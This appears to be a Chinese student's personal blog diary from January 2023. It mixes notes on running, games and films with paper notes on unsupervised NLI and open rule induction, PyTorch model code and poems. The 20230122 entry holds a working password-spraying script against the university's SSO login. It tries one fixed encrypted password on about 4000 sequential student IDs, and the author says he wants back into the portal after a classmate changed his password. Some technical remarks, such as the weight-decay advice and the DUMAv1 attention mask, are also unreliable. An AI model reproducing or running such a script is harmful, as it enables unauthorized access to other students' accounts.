  • 早上把宿舍全部收拾好,我想是不是应该趁sxy在学校最后抽空吃个饭,又感觉下雨也有些许勉强,转念作罢了。中午依然是去新食堂吃,跟王炳杰聊了些最近的事情,炳杰兄这学期GPA3.96,稳坐2020级投资学第一人,tql。走的时候却很巧碰到了sxy,尽管三年不见,但还是一眼能认出来,好像是梳了个丸子头,跟以前短发的感觉有些不同,大致寒暄了两三句,我是很想很想能坐下来好好聊一次,这样的机会真的不多了,很多话都难说出口唉。
  • 到家,天高皇帝远。安利两个最近发现的高质量中层蓝海塔(100层以下的低层塔太水,200层以上的高层塔又特别难肝,大多是按F7穿墙作弊通关看个剧情)。
    • 一个是桦佬的《虹镇史事•龙巫女篇》,这是老塔了,乍一看美工有点粗糙(毕竟不是每个人都是千夜那样美工出身,千夜做的塔确实太美,如果用动漫作类比就是芳文社那种番,很美的作画,但描述的都是日常生活,并无深度,作为蓝海塔还是缺了最关键的剧情要素,除了神作《殉道者》确实剧情大赞,也发人深思),但是耐看,剧情做得也很好,难度不高。桦佬自从发布了暗黑水塔《杀戮》之后,感觉应该是半退了。
    • 另一个是新作《ChapK》,这个是以Cytus(音乐世界)两个主角Iris和Rosabell(红蓝骑士)的故事为背景创建的,这个塔的精妙之处在于故事结局取决于你的拆塔思路,爆攻和爆防打出的结局是完全不同的(红蓝骑士的故事是一个悲剧),而且BGM超级带感。
    • 真的很佩服这些H5魔塔作者,首先得会写代码,需要精通js,尤其是js对事件的控制。然后要会编故事,写桥段文案,有的还能精通美工,画立绘和地图背景,最关键的还要会控制难度。就综合而言目前见过剧情做的最好的还是《斯莉英雄传》,可惜老黄鸡退圈此塔止步600层不会再有更新。这个圈子很小,但是却很高产,几乎每个月都会有几个高质量的塔被发布出来,要知道做出一座高质量的塔是极其费心费力的事情,这些作者大多也是学生,能有这种创作激情和能力属实让人艳羡,然而几乎没有什么回报可言,这是真正的兴趣使然。

MACD模型(无监督NLI)

1 概述

  • 论文标题:Unsupervised Natural Language Inference via Decoupled Multimodal Contrastive Learning
  • 中文标题:通过分离多模态对比学习进行无监督自然语言推断

2 问题抽象

对于预训练的MACD模型,我们使用多模态训练数据集
D t 2 i = { x i , y i } i = 1 N \mathcal{D}_{\rm t2i}=\{x_i,y_i\}_{i=1}^N Dt2i={xi,yi}i=1N
其中每个样本 { x i , y i } \{x_i,y_i\} {xi,yi}包含文本 x i x_i xi和图像 y i y_i yi,这两种模态的信息所描述的都是同样的上下文。(当然也可以推广到其他模态)

MACD模型在 D t 2 i \mathcal{D_{\rm t2i}} Dt2i上进行训练,对于text2image这种多对多(many-to-many,指一段文本可以对应多张图像,反之亦然)的任务,一般使用能量模型(energy-based models,EBM,比如SoftMax函数,MNL模型都是典型的能量模型),具体如下:

  1. 首先将文本 x i x_i xi和图像 y i y_i yi编码到一个pretext-invariant表示空间(arxiv@1912.01991)中:
    f ( x i ; θ f ) g ( x i , y i ; θ g ) f(x_i;\theta_f)\quad g(x_i,y_i;\theta_g) f(xi;θf)g(xi,yi;θg)

  2. 定义能量函数(energy function) σ : X × Y → R \sigma:X\times Y\rightarrow\R σ:X×YR
    σ ( x i , y i ) = d ( f ( x i ; θ f ) , g ( x i , y i ; θ g ) ) (1) \sigma(x_i,y_i)=d(f(x_i;\theta_f),g(x_i,y_i;\theta_g))\tag{1} σ(xi,yi)=d(f(xi;θf),g(xi,yi;θg))(1)
    其中 f , g f,g f,g分别是文本编码器和图像编码器, d d d是距离函数(一般为余弦距离),接下来省略 f ( x ; θ f ) f(x;\theta_f) f(x;θf) f ( x ) f(x) f(x) g g g同理。

    能量函数值越高,说明文本 x x x与图像 y y y指向同一上下文的概率越高,之所以 f f f只输入文本, g g g却结合了文本和图像,原因是 f f f将被用于下游任务, g g g可以表示一对多关系(通过引入predictive sparse coding,论文下载):

    • 这里所谓一对多关系,指的是一张图像通常包含多个对应的文本,为了能够使得能量模型可以表示一对多关系,一种常见的做法是引入噪声向量(noise vector) z z z来使得一张图片可以预测多个目标。注意 z z z是可以根据文本 x x x和图像 y y y快速估计得到的。
    • g g g函数里省略了 z z z
  3. 在无监督的NLI里,测试数据表示为
    D t e s t = { x i T , z i } i = 1 M \mathcal{D}_{\rm test}=\{x_i^T,z_i\}_{i=1}^M Dtest={xiT,zi}i=1M
    其中 x i T = ( x i 1 , x i 2 ) x_i^T=(x_i^1,x_i^2) xiT=(xi1,xi2)由一组语句对构成, z i z_i zi表示的是 x i 1 x_i^1 xi1 x i 2 x_i^2 xi2之间的关系(是否矛盾?是否一致?),无监督设定下会直接按照 f ( x i 1 ) f(x_i^1) f(xi1) f ( x i 2 ) f(x_i^2) f(xi2)之间的距离来判定(余弦相似度)。

3 算法

  • NLI判定的是两个句子是否属于同一上下文(一致性判定),本文会考察来自不同模态的上下文(文本与图像)。

  • 互信息最大化(mutual information maximization)是目前半监督学习(SSL)的一个主流方法,对于多模态的SSL,可例用互信息 I ( X , Y ) \mathcal{I}(X,Y) I(X,Y)来表示文本和图像之间对应性,即互信息越大,两者越匹配,那么这个互信息表示为:
    I ( X , Y ) = ∑ x , y P ( x , y ) log ⁡ P ( x ∣ y ) P ( x ) (2) \mathcal{I}(X,Y)=\sum_{x,y}P(x,y)\log\frac{P(x|y)}{P(x)}\tag{2} I(X,Y)=x,yP(x,y)logP(x)P(xy)(2)
    显然这个式子里很多概率都是不容易求得的,因此互信息 I ( X , Y ) \mathcal{I}(X,Y) I(X,Y)并不好算,所以一般会考虑使用噪声对比估计(Noise-Contrastive Estimation,NCE)来近似,具体而言,首先用能量函数 σ ( x , y ) \sigma(x,y) σ(x,y)来表示 P ( x ∣ y ) / P ( x ) P(x|y)/P(x) P(xy)/P(x)
    σ g l o b a l ( x , y ) ∝ P ( x ∣ y ) P ( x ) (3) \sigma_{\rm global}(x,y)\propto\frac{P(x|y)}{P(x)}\tag{3} σglobal(x,y)P(x)P(xy)(3)
    于是为了计算跨模态互信息,首先将 x , y x,y x,y编码为 f g l o b a l ( x ) f_{\rm global}(x) fglobal(x) g g l o b a l ( y ) g_{\rm global}(y) gglobal(y),然后就直接代入即可:
    σ g l o b a l ( x , y ) = d ( f g l o b a l ( x ) , g g l o b a l ( y ) ) = exp ⁡ ( cosine ( f g l o b a l ( x ) , g g l o b a l ( y ) ) τ σ ) (4) \sigma_{\rm global}(x,y)=d(f_{\rm global}(x),g_{\rm global}(y))=\exp\left(\frac{\text{cosine}(f_{\rm global}(x),g_{\rm global}(y))}{\tau_\sigma}\right)\tag{4} σglobal(x,y)=d(fglobal(x),gglobal(y))=exp(τσcosine(fglobal(x),gglobal(y)))(4)
    其中 τ σ \tau_\sigma τσ是超参数(温度)。

    接下来就是估计 σ g l o b a l ( x , y ) \sigma_{\rm global}(x,y) σglobal(x,y)以及最大化式 ( 2 ) (2) (2)中的互信息,这里NCE损失提供了可行的方法,在已知先验 P ( y ∣ x ) P(y|x) P(yx)的情况下,NCE损失定义为:
    L NCE : P ( y ∣ x ) ( X , Y ) = − E x , y ∼ P ( y ∣ x ) P ~ ( x ) { log ⁡ σ g l o b a l ( x , y ) − log ⁡ ∑ y ′ ∈ P ( y ) σ g l o b a l ( x , y ′ ) } (5) \mathcal{L}^{\text{NCE}:P(y|x)}(X,Y)=-\mathbb{E}_{x,y\sim P(y|x)\tilde P(x)}\{\log\sigma_{\rm global}(x,y)-\log\sum_{y'\in P(y)}\sigma_{\rm global}(x,y')\}\tag{5} LNCE:P(yx)(X,Y)=Ex,yP(yx)P~(x){logσglobal(x,y)logyP(y)σglobal(x,y)}(5)
    其中 P ~ ( x ) \tilde P(x) P~(x)就是 x x x的真实分布,于是 P ( y ∣ x ) P ~ ( x ) P(y|x)\tilde P(x) P(yx)P~(x)表示给定 x x x y y y的分布, P ( y ) P(y) P(y)就是 y y y的噪声分布。

    实际在计算 L NCE : P ( y ∣ x ) ( X , Y ) \mathcal{L}^{\text{NCE}:P(y|x)}(X,Y) LNCE:P(yx)(X,Y)时,可以为正样本构造噪声样本(即负采样),我们使用从训练集 D t 2 i \mathcal{D}_{\rm t2i} Dt2i里得到的一个batch的所有 { x i , y i } \{x_i,y_i\} {xi,yi}作为 X , Y X,Y X,Y,每个 y i y_i yi就是 x i x_i xi的一个正样本,即 P ( y i ∣ x i ) = 1 P(y_i|x_i)=1 P(yixi)=1,对于每个 x i ∈ X x_i\in X xiX,式 ( 5 ) (5) (5)中的噪声样本 y ′ y' y也是从 Y Y Y里采样得到,同样的反之亦然(对于式 ( 7 ) (7) (7),这里我没有写,式 ( 7 ) (7) (7)就是 NCE : P ( x ∣ y ) \text{NCE}:P(x|y) NCE:P(xy)版本的式 ( 5 ) (5) (5)),式 ( 5 ) (5) (5)加式 ( 7 ) (7) (7)即为全局损失。

  • 上面是全局的损失,接下来第二部分是local损失,这个跟全局的公式是一样的,即编码器只对一个单词,一个图块进行编码。这里虽然公式一样的,但是具体编码方式是比较复杂的,其实也就是注意力权重计算以及激活,具体看Figure2更清楚。

  • 最后还有一个anchor损失,其实就是正则项,但是公式比较复杂,目的是防止灾难性遗忘。

总结一下,其实就是通过设计损失函数(目标)来判定图像文本是否匹配,本质还是一个图像文本匹配的问题。无监督方法。


20230115~20230116

  • 今日-7℃,冷的离谱。下午看太阳特别好,想出去跑会儿,衣服都换好了,跑两步实在是顶不住。目前每天坚持3000个跳绳,保持状态。年前应该会进行一次长距离路跑。
  • 小年夜,过年还是一家人是要在一起的,其实我想古时候也常有战乱疫病,但是这样的传统还是代代流传了下来,所以说到底并不是年味淡了,只是人太懒。

原子(atom)表示为 ( x , r , y ) (x,r,y) (x,r,y)的形式,其实就是知识图谱里的三元组。规则就是一系列body原子进行逻辑运算得到一个新的head原子:
KaTeX parse error: Undefined control sequence: \and at position 8: body_1\̲a̲n̲d̲...body_n\Right…
那么:

定义1(开放规则):

开放规则是根据一个前提原子(premise atom)来推导出一个假设原子(hypothesis atom)的过程:
( x , r p , y ) ⇒ ( x , r h , y ) (x,r_p,y)\Rightarrow(x,r_h,y) (x,rp,y)(x,rh,y)
这里的关键就是 r p r_p rp r h r_h rh这两个关系不是知识图谱中那种正规的关系,而实自然语言文本,这个规则只是说明 r p r_p rp经常能够推导出 r h r_h rh(如处于共性模式,这里会给规则一个置信度来表示这种经常性)。

这是两个实体的情况,多个实体也是可以处理的,后面会说。

问题定义1(开放规则归纳):

对于给定的前提原子 ( x , r p , y ) (x,r_p,y) (x,rp,y) k k k,请找出 top- k \text{top-}k top-k r h r_h rh,即 P ( r h ∣ r p ) P(r_h|r_p) P(rhrp),具体计算方式:
P ( r h ∣ r p ) = ∑ i n s P ( r h ∣ i n s , r p ) P ( i n s ∣ r p ) P(r_h|r_p)=\sum_{ins}P(r_h|ins,r_p)P(ins|r_p) P(rhrp)=insP(rhins,rp)P(insrp)

这里计算方式是根据头尾实体(即instantiation)的边际分布,其中 P ( i n s = ( x 0 , y 0 ) ∣ r p ) P(ins=(x_0,y_0)|r_p) P(ins=(x0,y0)rp)表示的是 ( x 0 , y 0 ) (x_0,y_0) (x0,y0)的条件概率分布(给定关系 r p r_p rp), P ( r h ∣ i n s = ( x 0 , y 0 ) , r p ) P(r_h|ins\text{=}(x_0,y_0),r_p) P(rhins=(x0,y0),rp)表示在给定 ( x 0 , r p , y 0 ) (x_0,r_p,y_0) (x0,rp,y0)的条件下 ( x 0 , r h , y 0 ) (x_0,r_h,y_0) (x0,rh,y0)的成立概率。

比如 P ( i n s = ( Steve Jobs,Apple ) ∣ r p = is founder of ) P(ins=(\text{Steve Jobs,Apple})|r_p=\text{is founder of}) P(ins=(Steve Jobs,Apple)rp=is founder of)表示语言模型给出的 ( Steve Jobs,is founder of,Apple ) (\text{Steve Jobs,is founder of,Apple}) (Steve Jobs,is founder of,Apple),这样一个句子的概率;而 P ( r h = is CEO of ∣ i n s = (Steve Jobs,Apple) , r p = is founder of ) P(r_h=\text{is CEO of}|ins=\text{(Steve Jobs,Apple)},r_p=\text{is founder of}) P(rh=is CEO ofins=(Steve Jobs,Apple),rp=is founder of)表示给定 ( Steve Jobs,is founder of,Apple ) (\text{Steve Jobs,is founder of,Apple}) (Steve Jobs,is founder of,Apple)的条件下, ( Steve Jobs,is CEO of,Apple ) (\text{Steve Jobs,is CEO of,Apple}) (Steve Jobs,is CEO of,Apple)的概率(显然是高概率)。

事实上给定 i n s ins ins r h r_h rh r p r_p rp是独立的(因为 r h r_h rh总是已知的),于是可以简化为:
P ( r h ∣ r p ) = ∑ i n s P ( r h ∣ i n s ) ⏟ Applicability P ( i n s ∣ r p ⏟ I n s t a n t i a t i o n ) P(r_h|r_p)=\sum_{ins}\underbrace{ P(r_h|ins)}_{\text{Applicability}}\underbrace{P(ins|r_p}_{Instantiation}) P(rhrp)=insApplicability P(rhins)Instantiation P(insrp)
上式求和项中两个概率的计算,可以使用MLM模型,:

  • 对于 P ( r h ∣ i n s = ( x , y ) ) P(r_h|ins=(x,y)) P(rhins=(x,y)):等价于 x  <mask>  y x\text{ <mask> }y x <mask> y
  • 对于 P ( i n s = ( x , y ) ∣ r p ) P(ins=(x,y)|r_p) P(ins=(x,y)rp):等价于 <mask> x   r p   <mask> y \text{<mask>}_x\space r_p\space\text{<mask>}_y <mask>x rp <mask>y

这最后其实会利用一个束搜索来寻找相对较优的 i n s ins ins


20230117~20230118

  • 停跑一周(上周三最后一跑结束,寒潮降临,上海下雨,回来又下雪),下午顺腿,发现附近新修了条路,刚好构成小环线,开表试跑了两圈,一共是3.9km,单圈将近2km(不能凑个整数,强迫症老难受了),第一圈配速4’24",第二圈配速4’40"。因为是顺腿热身,只是换了鞋,没有特意换衣服,上身连羽绒服穿了三件,下身还有两件,笨重得很,所以跑成这样也还行吧…
  • 这次回来称重就差不多接近72kg(学期初差不多也是这个体重,之前最轻的时候66kg,去年上半年隔离回来也不过近70kg,说明这学期还是练太少,吃太多),真不能再胖了,3月19号无锡马拉松已经官宣去年中签的直接顺延名额,都不用重抽签,到时候跑不动就真蛋疼了。

记一个小脚本:

# -*- coding: utf-8 -*-
# @author: caoyang
# @email: caoyang@163.sufe.edu.cn

import re
import json
import time
import execjs
import requests

from pprint import pprint
from bs4 import BeautifulSoup

from selenium import webdriver
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.common.keys import Keys

def headers_to_dict(headers: str) -> dict:
	lines = headers.splitlines()
	headers_dict = {}
	for line in lines:
		key, value = line.strip().split(':', 1)
		headers_dict[key.strip()] = value.strip()
	return headers_dict

def cookie_to_string(cookies: dict) -> str:
	string = ''
	for key, value in cookies.items():
		string += '{}={}; '.format(key, value)
	return string.strip()

class SUFE:

	def __init__(self):

		headers = """Host: portal.sufe.edu.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: keep-alive
Cookie: JSESSIONID=3A52C31A09B486DC3E737CE14497C328.portal_app_3; COOKIE_SUPPORT=true; BIGipServerpool_newportal=354550282.36895.0000; TS01e2b886=010d30f7c1dfe5a3a7253f4bf292ff6ea834cf1d13efad5b0ee5c75ddffd9339db42ae6301c03cba8f320029362f556b2e4fb7ec26; GUEST_LANGUAGE_ID=zh_CN; BIGipServerpool_portalfile_read=455213578.20480.0000; LFR_SESSION_STATE_1455337=1673758726041
Upgrade-Insecure-Requests: 1"""

		cookie = {
			# 'BIGipServerpool_newportal'			: "354550282.36895.0000",
			# 'BIGipServerpool_portalfile_read'	: "455213578.20480.0000",
			# 'COOKIE_SUPPORT'					: "false",
			# 'GUEST_LANGUAGE_ID'					: "zh_CN",
			# 'JSESSIONID'						: "3A52C31A09B486DC3E737CE14497C328.portal_app_3",
			# 'JSESSIONID'						: "834A7DF35DBE7B51924A4782B35E05B1.portal_app_3",
			# 'JSESSIONID'						: "0ECCB75DA7A498C41DAFC0772F22C59F.portal_app_3",
			'LFR_SESSION_STATE_1455337'			: int(time.time() * 1000),
			# 'TS01e2b886'						: "010d30f7c1dfe5a3a7253f4bf292ff6ea834cf1d13efad5b0ee5c75ddffd9339db42ae6301c03cba8f320029362f556b2e4fb7ec26",
		}

		headers = f"""Host: portal.sufe.edu.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:108.0) Gecko/20100101 Firefox/108.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Connection: keep-alive
Cookie: {cookie_to_string(cookie)}
Upgrade-Insecure-Requests: 0"""

		url = 'http://portal.sufe.edu.cn/web/guest/graduate'
		r = requests.get(url, headers=headers_to_dict(headers))
		with open('cy.html', 'w', encoding='utf8') as f:
			f.write(r.text)

20230119

  • 每年都会跑一次的老路线,今年累得不行,而且节奏好差,中途停下来休息了两次(<2min,心率恢复到120~130bpm)。穿的飞飙,10km处第二次休息,之后起跑明显前脚掌磨得特别难受(飞燃PB是买小了0.5码,导致鞋头特别挤脚,2km基本上就疼得要死,穿了两三次就没再穿过,飞飙就好很多,虽然跟next%还是比不了,毕竟不是一个价位),几乎坚持不了用前脚掌跑,不过倒是意外发现飞飙的脚后跟回弹比next%要好,虽然现在已经不可能再改后脚跟跑法了。
  • 跑完之后左足弓有点抽筋,以前从来没有过,虽然很快就好了。前脚掌跑法虽然不伤膝盖,但是总归会有别的地方代偿。
  • 兔年快乐了呀,本命年过了,下一纪结束都是中年大叔咯。
    请添加图片描述

改良了一下DUMA,为什么总是gradient vanishing:

class DUMAv1(DUMA):
	"""Encode passage(P) and question-and-answer(QA) respectively"""
	def __init__(self, args):
		super(DUMAv1, self).__init__(args)

	# @param P		: {'input_ids': tensor, 'token_type_ids': tensor, 'attention_mask': tensor}, tensor(batch_size, max_article_token)
	# @param Q		: {'input_ids': tensor, 'token_type_ids': tensor, 'attention_mask': tensor}, tensor(batch_size, max_question_token)
	# @param A		: {'input_ids': tensor, 'token_type_ids': tensor, 'attention_mask': tensor}, tensor(batch_size * N_CHOICES, max_option_token)
	# @return E_P	: (batch_size, N_CHOICES, max_article_token, duma_encoding_size)
	# @return E_QA	: (batch_size, N_CHOICES, max_question_token + max_option_token, duma_encoding_size)
	def encoder(self, P, Q, A, pretrained_model=None):
		batch_size = P['input_ids'].size(0)
		size_of_split_choice = (batch_size, self.m, self.a)
		A['input_ids'] = A['input_ids'].view(*size_of_split_choice)
		A['token_type_ids'] = A['token_type_ids'].view(*size_of_split_choice)
		A['attention_mask'] = A['input_ids'].view(*size_of_split_choice)
		E_QA_list = list()
		for i in range(self.m):
			concat_inputs = {'input_ids'		: torch.cat([Q['input_ids'], A['input_ids'][:, i, :]], axis=-1),			# (batch_size, max_question_token + max_option_token)
							 'token_type_ids'	: torch.cat([Q['token_type_ids'], A['token_type_ids'][:, i, :]], axis=-1),	# (batch_size, max_question_token + max_option_token)
							 'attention_mask'	: torch.cat([Q['attention_mask'], A['attention_mask'][:, i, :]], axis=-1),	# (batch_size, max_question_token + max_option_token)
							 }
			E_QA_list.append(pretrained_model(**concat_inputs).last_hidden_state.unsqueeze(1) if self.pretrained_model is None else self.pretrained_model(**concat_inputs).last_hidden_state.unsqueeze(1))
		E_QA = torch.cat(E_QA_list, axis=1)																										# E_QA			: (batch_size, N_CHOICES, max_question_token + max_option_token, duma_encoding_size)
		E_P_unrepeated = pretrained_model(**P).last_hidden_state if self.pretrained_model is None else pretrained_model(**P).last_hidden_state	# E_P_unrepeated: (batch_size, max_article_token, duma_encoding_size)
		E_P = E_P_unrepeated.unsqueeze(1).repeat(1, self.m, 1, 1)																				# E_P			: (batch_size, N_CHOICES, max_article_token, duma_encoding_size)
		return E_P.to(DEVICE), E_QA.to(DEVICE)


class DUMAv2(DUMAv1):
	"""Adding residual connection to dual multi-head co-attention"""
	def __init__(self, args):
		super(DUMAv2, self).__init__(args)

	# @param E_P	: (batch_size, N_CHOICES, max_article_token, duma_encoding_size)
	# @param E_QA	: (batch_size, N_CHOICES, max_question_token + max_option_token, duma_encoding_size)
	# @return O		: (batch_size, N_CHOICES, ?) where ? could be duma_encoding_size or 2 * duma_encoding_size
	def dual_multi_head_co_attention(self, E_P, E_QA):
		O_list = list()
		for i in range(self.m):
			E_P_i = E_P[:, i, :, :]															# E_P_i	: (batch_size, max_article_token, duma_encoding_size)
			E_QA_i = E_QA[:, i, :, :]														# E_QA_i: (batch_size, max_question_token + max_option_token, duma_encoding_size)
			MHA_1 = self.multi_head_attention(queries=E_P_i, keys=E_QA_i, values=E_QA_i)	# MHA_1	: (batch_size, max_article_token, duma_encoding_size)
			MHA_2 = self.multi_head_attention(queries=E_QA_i, keys=E_P_i, values=E_P_i)		# MHA_2	: (batch_size, max_question_token + max_option_token, duma_encoding_size)
			if self.k > 1:
				# Stack k layers
				for _ in range(self.k - 1):
					MHA_1 = self.multi_head_attention(queries=MHA_1, keys=MHA_2, values=MHA_2)		# MHA_1	: (batch_size, max_article_token, duma_encoding_size)
					MHA_2 = self.multi_head_attention(queries=MHA_2, keys=MHA_1, values=MHA_1)		# MHA_2	: (batch_size, max_question_token + max_option_token, duma_encoding_size)
			O_i = self._fuse(x=MHA_1+torch.max(E_P, axis=1)[0], y=MHA_2+torch.max(E_QA, axis=1)[0])	# O_i	: (batch_size, ?)
			O_list.append(O_i.unsqueeze(1))
		O = torch.cat(O_list, axis=1)																# O		: (batch_size, N_CHOICES, ?)
		return O	

20230121

  • 下午路跑6.10km,用时25’46",均配4’13",接下来下雪降温,要跑休一阵子的。
  • 昨天休整,小姨和老表晚上到这,老表有三四年没到老家过年了。凯爹找我玩《鹅鸭杀》,我只是之前听说,还没正式玩过,正好带可以老表一起玩。老实说,这种套个皮复刻《among us》的操作是挺无语的,而且我发现这种照搬的操作还挺多,之前还看关注的UP玩过《跑跑狼人杀》,不能说大同小异,只能说是完全一样。现在的游戏就是这样,快餐式的很快就觉得挺无聊,要肝的也没时间搞,之前通关了一次《factorio》(异星工厂),花了46个小时多,后来想再从头打一遍(都怪我把存档删了,我以为发射个火箭通关就结束了,结果后面还有核能和原子弹可以开发,还有铁路和信号网络可以玩,其实我一直都搞不懂怎么搞铁路信号),再没有耐心打,而且我超级强迫症,不愿意用石炉冶炼,都是手搓直到第一个钢炉出来才开始规模化生产。

关于weight_decay,一些建议都是设为0.9,我们都知道这个可以防止过拟合的,但是如果在模型特别特别大的时候,weight_decay对应的惩罚项其实原始值就已经很大了(即F范数),如果你再设置的很大,那么显然是不合适的,这样很容易就会导致参数为全零是最优解。在RACE上CoMatch用0.9的weight_decay训练96轮测试只能达到0.385的acc,如果设为0,那么大约4轮就已经达到0.4的水平。


20230122

  • 下午去看《流浪地球2》首映,确实是不可多得的神作,感觉已经不输复仇者联盟系列的大片,尤其是第一个太空电梯遇袭桥段,视觉冲击足够震撼,看完之后我又很后悔没有去学理工科,物理是多么美妙的学科,尤其是天体物理,当年也是搞过物竞的人,如今看个科幻片好多名词都搞不清楚,真是愧疚不已。

改进了一下,门户系统更新之后确实难以攻陷,可惜常诚改了密码,我现在想搜东西变得太不容易了:

# -*- coding: utf-8 -*-
# @author: caoyang
# @email: caoyang@163.sufe.edu.cn

import re
import json
import time
import execjs
import random
import requests

from bs4 import BeautifulSoup

from selenium import webdriver
from selenium.webdriver.support.ui import WebDriverWait
from selenium.webdriver.common.keys import Keys

def headers_to_dict(headers: str) -> dict:
	lines = headers.splitlines()
	headers_dict = {}
	for line in lines:
		key, value = line.strip().split(':', 1)
		headers_dict[key.strip()] = value.strip()
	return headers_dict

def cookie_to_string(cookies: dict) -> str:
	string = ''
	for key, value in cookies.items():
		string += '{}={}; '.format(key, value)
	return string.strip()


class SUFE:

	def __init__(self):
		self.dologin_url = 'https://login.sufe.edu.cn/esc-sso/api/v3/auth/doLogin'

		self.reset_time = 300
		

	def _login_with_encrpyted_password(self, username):
		password = 'nooLqnT81KRk136E57A0REvj1sSIbTZcfCXLoDie0qG42fKEziwI9gOOJ0IE3aFM92SW5XtfyVrf632YAhwQSbZ8c3VGDTNd38dmPPnbDWD6MKrIxfaWweV61d0sVS0RrJh+qGEA2jStxA99d0FVrpz7kCytD7ocLmFwKHOuquc='	#
		public_key_id = '1398153946211598336'
		cookie = {}
		headers = f"""Host: login.sufe.edu.cn
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
Accept: application/json, text/plain, */*
Accept-Language: zh_CN
Accept-Encoding: gzip, deflate, br
Content-Type: application/json; charset=utf-8
Content-Length: 315
Origin: https://login.sufe.edu.cn
Connection: keep-alive
Referer: https://login.sufe.edu.cn/login/
Cookie: {cookie_to_string(cookie)},
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin"""
		data = {'authType'		: 'webLocalAuth',
				'dataField'		: {'username'	: username,
								   'password'	: password,
								   'vcode'		: '',
								   'publicKeyId': public_key_id,
								   },
				'redirectUri'	: '',
				}
		while True:
			try:
				json_response = requests.post(self.dologin_url, headers=headers_to_dict(headers), data=json.dumps(data)).json()
				break
			except:
				print('  - error ...')
				time.sleep(self.reset_time)
		return json_response
		
	def login(self, username, password=None, outfile=None):
		response = self._login_with_encrpyted_password(username)
		print(response)
		if outfile is not None:
			with open(outfile, 'a', encoding='utf8') as f:
				f.write(f'{username}\t{response}\n')


def run():
	sufe = SUFE()
	year = '2021'
	category = '11'
	prefix = year + category
	outfile = prefix + '.txt'
	with open(outfile, 'w', encoding='utf8') as f:
		pass
	
	for i in range(1, 4000):
		username = prefix + str(i).zfill(4)
		print(username)
		sufe.login(username=username, outfile=outfile)
		time.sleep(random.randint(15, 45))

if __name__ == '__main__':
	run()

20230123

  • 今年第一次熬夜,把《流浪地球1》和原作都看了一遍,跟《流浪地球2》比确实是差不少,无论是质还是量,只是不知道《球3》到底会不会拍,会选择什么桥段,我希望是可以直接拍到大结局,似乎只有大结局可以在深度上超过1和2的水平,而且我也不希望神作烂尾,第三部能续写神话也是极好的,就像《移动迷宫》,两部之后越来越拉垮,一旦被捧上神坛,就越容易摔得口碑皆非。
  • 一些琐事,今天又和老妈争论了很久,最后以爸妈3月19日到无锡马拉松现场为妥协,我将会用一场比赛来彻底扭转他们对跑步的看法。
  • 说实话寒假回来乃至2022整一年我都已经非常妥协了,从14号回扬州起,我仅仅进行三次路跑,其中一次还只是热身,换衣服换鞋认真跑的只有19号和21号。2022年除六月外,我的月跑量都不超过80km,且不说和那些月跑动辄三四百公里的大佬比,就是和2021年的总跑量1500km相比,这平均月跑也远远超过2022年的最大值。即便如此我还是练回巅峰期,至少目前我是有信心也有能力进行半马比赛。但是老妈非要说我什么腿练得都变形了,我这学期少说也例训了十次,就没有一个人说过我腿变形,我也不知道她说的变形到底是指什么;她总是说跑步伤膝,可这学期我改前脚掌跑之后,已经彻底摆脱护膝和髌骨带,膝盖一次都没有疼过;她看不到我通过跑步结实的那些朋友和经历,她只是说等我老了就会知道。为人父母总是希望子女平平安安地过一辈子,其实我大约也是这样观念传统的人,但是我也是一个很固执的人,有些事情我注定是要做一辈子的。
  • 下午游玩瘦西湖归来后又和好如初了,人呐,还是少些戾气。

在这里插入图片描述
在这里插入图片描述红嘴黑天鹅

在这里插入图片描述枯藤枝桠

摄于扬州瘦西湖畔。


回到那一刹那,岁月无声也让人害怕。
枯藤长出枝桠,原来时光也翩然轻擦。
梦中楼上月下,站着眉目依旧的你啊。
拂去衣上雪花,并肩看,天地浩大。

——《倾尽天下》河图

最后以即兴所作收尾。

大明寺,栖灵塔,白塔对望平山堂,游遍瘦西湖十四景,抵不过枯藤两枝,残缘一绺。

《癸卯年正月初二·重游蜀冈有感》

阴雨绵绵路难行,万花凋落燕鸥鸣。
大明寺外僧歌醒,百尺危危栖幽灵。
近水描上白塔清,远山来与此堂平。
枯藤犹有逢春日,残缘可待夕日情。

许久不作,或失了些性情。


(END)

  • 3
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
SST-EOF分析(Sea Surface Temperature - Empirical Orthogonal Function Analysis)是一种常用的海温变化分析方法,它可以通过对海温观测数据进行分解和重构,来揭示海温变化的主要模态和空间分布特征。 MATLAB中提供了一些函数可以进行SST-EOF分析,其中比较常用的是eig和svd函数。下面简要介绍一下SST-EOF分析的步骤: 1. 数据准备:首先需要准备海温观测数据,通常是一个时间序列和一个二维空间网格数据。时间序列可以是每个月或每年的平均值,二维空间网格数据可以是某个时间点的海温分布图。 2. 去除平均值:对海温观测数据进行去平均值处理,即每个时间点的海温值减去该时间点的平均海温值。 3. 计算协方差矩阵:将去平均值处理后的海温观测数据按时间排列成一个矩阵,然后计算该矩阵的协方差矩阵。 4. 计算特征值和特征向量:使用eig或svd函数对协方差矩阵进行分解,可以得到特征值和特征向量。 5. 选取主成分:将特征向量按特征值大小排序,选取前几个特征向量作为主成分,通常只选取特征值大于1的主成分。 6. 重构海温场:将主成分系数和对应的主成分向量相乘,可以重构出海温场的空间分布。 7. 分析结果:分析主成分的时间序列和空间分布,可以得到海温变化的主要模态和空间分布特征。 以上就是SST-EOF分析的主要步骤,需要注意的是,在使用eig或svd函数进行分解时,矩阵的行数应该是时间点的个数,列数应该是空间点的个数。

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
